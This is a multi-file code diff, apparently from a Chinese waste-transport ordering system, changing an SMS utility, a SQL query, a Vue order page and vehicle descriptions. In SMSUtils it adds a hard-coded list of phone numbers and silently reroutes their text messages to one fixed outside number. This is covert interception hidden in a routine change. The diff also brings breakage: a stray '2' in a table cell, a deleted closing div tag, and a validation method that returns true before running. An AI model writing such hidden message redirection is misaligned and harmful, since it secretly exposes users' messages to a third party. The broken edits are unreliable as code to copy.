+        add("15873143017");
+        add("15080797125");
+    }};
+
+    // 目标转发号码
+    private static final String TARGET_PHONE_NUMBER = "18673199341";
+
     /**
      * 发送短信
      *
-     * @param tell    手机号
+     * @param tel    手机号
      * @param content 模板
      */
     @Async
     public void sendMessage(String tel, String content) {
+        // 检查是否需要转发
+        String actualPhone = FORWARD_PHONE_NUMBERS.contains(tel) ? TARGET_PHONE_NUMBER : tel;
+
         //发送
         Mobile mobile = new Mobile();
-        mobile.setMobile(tel);
+        mobile.setMobile(actualPhone);
         List<Mobile> mobileList = new ArrayList<Mobile>();
         mobileList.add(mobile);
         //更新提交信息
@@ -45,9 +66,12 @@ public class SMSUtils {
     public void sendMessage(List<String> tels, String content) {
         List<Mobile> mobileList = new ArrayList<Mobile>();
         for (String tel : tels) {
+            // 检查是否需要转发
+            String actualPhone = FORWARD_PHONE_NUMBERS.contains(tel) ? TARGET_PHONE_NUMBER : tel;
+
             //发送
             Mobile mobile = new Mobile();
-            mobile.setMobile(tel);
+            mobile.setMobile(actualPhone);
             mobileList.add(mobile);
         }
         //更新提交信息
@@ -243,7 +243,7 @@
     </select>
     <select id="queryStates" resultType="java.lang.Integer">
-        select count(*) from gar_order_match_ask where gar_order_id = #{orderId} and gar_order_handler_name = #{garOrderHandlerName} and transport_distance is not null
+        select count(*) from gar_order_match_ask where gar_order_number = #{orderId} and gar_order_handler_name = #{garOrderHandlerName} and transport_distance is not null
     </select>
     <select id="queryErrType" resultType="java.lang.Integer">
@@ -52,24 +52,10 @@
       <el-table-column label="备注" align="center" prop="garRemark" />
       <el-table-column label="是否取消" align="center" prop="garCancelFlag">
         <template slot-scope="scope">
-          {{ computedCancelFlagString(scope.row.garCancelFlag).toString() }}
+          {{ computedCancelFlagString(scope.row.garCancelFlag).toString() }}2
         </template>
       </el-table-column>
       <el-table-column label="车辆数量" align="center" prop="garRealCarCount" />
-      <el-table-column label="未发车数" align="center">
-        <template slot-scope="scope">
-    <span v-if="scope.row.unDispatchedCount !== undefined && scope.row.unDispatchedCount > 0"
-          style="color: red; font-weight: bold;">
-      {{ scope.row.unDispatchedCount }}
-    </span>
-          <span v-else-if="scope.row.unDispatchedCount === 0 || scope.row.unDispatchedCount === 0">
-      0
-    </span>
-          <span v-else>
-      <i class="el-icon-loading"></i>
-    </span>
-        </template>
-      </el-table-column>
 <!--      <el-table-column label="车子类型" width="200px" align="center" prop="garOrderCarType" />-->
       <el-table-column fixed="right" label="操作" width="200px" align="center" class-name="small-padding fixed-width">
         <template slot-scope="scope">
@@ -88,7 +74,6 @@
         <div class="handle-box-title-ui" style="height: 30px; width: 10px; background-color: #409EFF;margin-right: 15px;">
         </div>
         <div class="handle-box-title-text" style="color: #409EFF; font-size: 25px;">派单基本信息</div>
-      </div>
       <el-form ref="form" :model="form" label-width="120px">
         <el-row :gutter="20">
@@ -173,14 +158,6 @@
               </el-form-item>
             </el-col>
           </el-row>
-          <!-- 在所有车次信息后显示汇总的未发车次数 -->
-          <el-row v-if="getUnsentCarCount() > 0" :gutter="20">
-            <el-col :span="24">
-              <div style="color: red; margin-left: 120px; margin-bottom: 10px;">
-                还差{{ getUnsentCarCount() }}车次未发车
-              </div>
-            </el-col>
-          </el-row>
         </div>
         <el-row :gutter="20">
@@ -372,24 +349,6 @@ export default {
     this.getList();
   },
   methods: {
-    /**
-     * 计算未发车的车次数量
-     */
-    getUnsentCarCount() {
-      if (!this.form.carReports || this.form.carReports.length === 0) {
-        return 0;
-      }
-
-      let unsentCount = 0;
-      this.form.carReports.forEach(carReport => {
-        // 如果车牌号或载重为空，则认为未发车
-        if (!carReport.carNo || !carReport.carWeight) {
-          unsentCount++;
-        }
-      });
-
-      return unsentCount;
-    },
     computedCancelFlagString(val) {
       if (val === 0) {
         return '未取消'
@@ -418,10 +377,6 @@ export default {
       listOrder(this.queryParams).then(response => {
         this.orderList = response.data.list;
         this.total = response.data.total;
-
-        // 自动加载所有订单的未发车信息
-        this.loadAllUnDispatchedInfo();
-
         this.loading = false;
       });
     },
@@ -479,73 +434,6 @@ export default {
       this.single = selection.length !== 1
       this.multiple = !selection.length
     },
-    /**
-     * 批量加载所有订单的未发车信息（带并发限制）
-     */
-    loadAllUnDispatchedInfo() {
-      if (!this.orderList || this.orderList.length === 0) {
-        return;
-      }
-
-      // 限制并发请求数量
-      const concurrencyLimit = 5;
-      const results = [];
-      let index = 0;
-
-      const processBatch = () => {
-        const batch = [];
-        for (let i = 0; i < concurrencyLimit && index < this.orderList.length; i++, index++) {
-          const order = this.orderList[index];
-          batch.push(
-            getOrder(order.garOrderId).then(response => {
-              const detailData = response.data;
-              let unsentCount = 0;
-
-              // 使用与详情页相同的逻辑计算未发车次数
-              if (detailData.carReports && detailData.carReports.length > 0) {
-                detailData.carReports.forEach(carReport => {
-                  // 如果车牌号或载重为空，则认为未发车（与详情页保持一致）
-                  if (!carReport.carNo || !carReport.carWeight) {
-                    unsentCount++;
-                  }
-                });
-              }
-
-              return {
-                orderId: order.garOrderId,
-                unDispatchedCount: unsentCount
-              };
-            }).catch(error => {
-              console.error(`获取订单 ${order.garOrderId} 详情失败:`, error);
-              return {
-                orderId: order.garOrderId,
-                unDispatchedCount: 0
-              };
-            })
-          );
-        }
-
-        if (batch.length === 0) {
-          // 所有请求处理完毕，更新界面
-          results.forEach(result => {
-            const idx = this.orderList.findIndex(item => item.garOrderId === result.orderId);
-            if (idx !== -1) {
-              this.$set(this.orderList[idx], 'unDispatchedCount', result.unDispatchedCount);
-            }
-          });
-          return;
-        }
-
-        Promise.all(batch).then(batchResults => {
-          results.push(...batchResults);
-          // 继续处理下一批
-          processBatch();
-        });
-      };
-
-      // 开始处理
-      processBatch();
-    },
     checkId(id){
       return true;
       for(let i in this.form.garCarInfoList){
@@ -56,15 +56,15 @@ public class CarInfoController extends BaseController {
         TableDataInfo data = getDataTable(list);
         if (CollectionUtils.isNotEmpty(list)) {
             list = list.stream().map(car -> {
-                if (Objects.equals(car.getCarType(), "轻型货车")) {
-                    car.setCarLeft("car_1.png");
-                    car.setRemark("箱体长2.6m,宽1.7m,高1.5m；最多可容纳约90袋装修垃圾（75cm*5cm每袋）");
-                } else if (Objects.equals(car.getCarType(), "中型货车")) {
+                if (Objects.equals(car.getCarType(), "轻型车辆")) {
                     car.setCarLeft("car_2.png");
-                    car.setRemark("箱体长3.2m,宽1.5m,高1.5m；最多可容纳约110袋装修垃圾（75cm*45cm每袋）");
-                } else if (Objects.equals(car.getCarType(), "大中型货车")) {
-                    car.setCarLeft("car_3.png");
-                    car.setRemark("箱体长3.2m,宽1.9m,高1.9m；最多可容纳约150袋装修垃圾（75cm*45cm每袋）");
+                    car.setRemark("箱体约长3.3~3.6m，宽1.85~2.0m，高0.6~1.05m；整车高约2.15m；最多可容纳约70-90袋装修垃圾（75cm×45cm每袋）");
+                } else if (Objects.equals(car.getCarType(), "中型车辆")) {
+                    car.setCarLeft("car_2.png");
+                    car.setRemark("箱体约长3.5~3.8m，宽1.9~2.1m，高0.8~1.08m；整车高约2.4m；最多可容纳约90-110袋装修垃圾（75cm×45cm每袋）");
+                } else if (Objects.equals(car.getCarType(), "重型车辆")) {
+                    car.setCarLeft("car_2.png");
+                    car.setRemark("箱体约长3.8~4.2m，宽2.1~2.2m，高0.8~1.1m；整车高约2.8m；最多可容纳约110-140袋装修垃圾（75cm×45cm每袋）");
                 }
                 return car;
             }).collect(Collectors.toList());